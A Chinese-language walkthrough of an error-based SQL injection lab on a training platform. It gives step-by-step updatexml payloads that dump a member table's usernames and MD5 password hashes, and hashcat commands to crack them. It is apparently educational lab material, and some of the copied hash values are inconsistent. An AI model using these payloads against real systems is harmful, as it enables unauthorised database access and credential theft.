墨者学院sql注入初级(报错注入)
墨者学院sql注入初级(报错注入)
先了解什么是报错,在mysql中存在一个函数updatexml(参数1,参数2,参数3)
第一步:先测类型,数字型,字符型
分别使用 id=1 and 1=1--+ id=1 and 1=2 --+ id=1' and 1=1--+ id=1' and 1=2 --+
当为id=1' and 1=1--+
id=1' and 1=2--+
说明存在注入点且是字符型
使用id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
得到数据库名 stormgroup
接下来查看表名,使用
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "stormgroup"),0x7e),1) --+
updatexml(参数1,参数2,参数3)中参数2第一个字符必须是特殊字符才能报错,0x7e对应"~",0x23对应$
我们使用concat()来组成字符串拼接为~......~这种
得到两个表,然后查字段名,使用id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = "member"),0x7e),1)--+
得到字段名,然后访问就行,使用
id=1' and updatexml(1,concat(0x7e,(select concat(name,'~',password,'~',status) from member ),0x7e),1)--+
这里它说超过1行了,所以加上limit 0,1
id=1' and updatexml(1,concat(0x7e,(select concat(name,'~',password,'~',status) from member limit 0,1),0x7e),1)--+
这里还有很多内容还没有出来,因为updatexml()报错最多32个字符
所以要分段报错,使用substr()
id=1' and updatexml(1,concat(0x7e,(select substr(concat(name,'~',password,'~',status),31,32) from member limit 0,1),0x7e),1)--+
从32开始截取32个字符,但是并没有32个所以就全部显示剩余的
拼接起来得到~mozhe~3114b433dece9180717f2b7dee56b28a3~0~
接下来查看limit 1,1第二条记录
分别使用
http://119.3.165.128:42045/new_list.php?id=1' and updatexml(1,concat(0x7e,(select substr(concat(name,'~',password,'~',status),32,32) from member limit 1,1),0x7e),1)--+
http://119.3.165.128:42045/new_list.php?id=1' and updatexml(1,concat(0x7e,(select substr(concat(name,'~',password,'~',status),31,32) from member limit 1,1),0x7e),1)--+
拼接得到
~mozhe~5388eec978508a91e131b554ff34c60d0~1~
总结得到两段后面的limit 2,1没东西了
~mozhe~3114b433dece9180717f2b7de56b28a3~0~
~mozhe~5388eec978508a91e131b554f34c60d0~1~
这两段中的3114b433dece9180717f2b7de56b28a3,5388eec978508a91e131b554f34c60d0
分别使用hashcat -m 0 -a 3 5388eec978508a91e131b554f34c60d0
hashcat -m 0 -a 3 3114b433dece9180717f2b7de56b28a3
得到两个密码分别是
最后第一个被封禁,第二个为真
每次的结果都不一样













浙公网安备 33010602011771号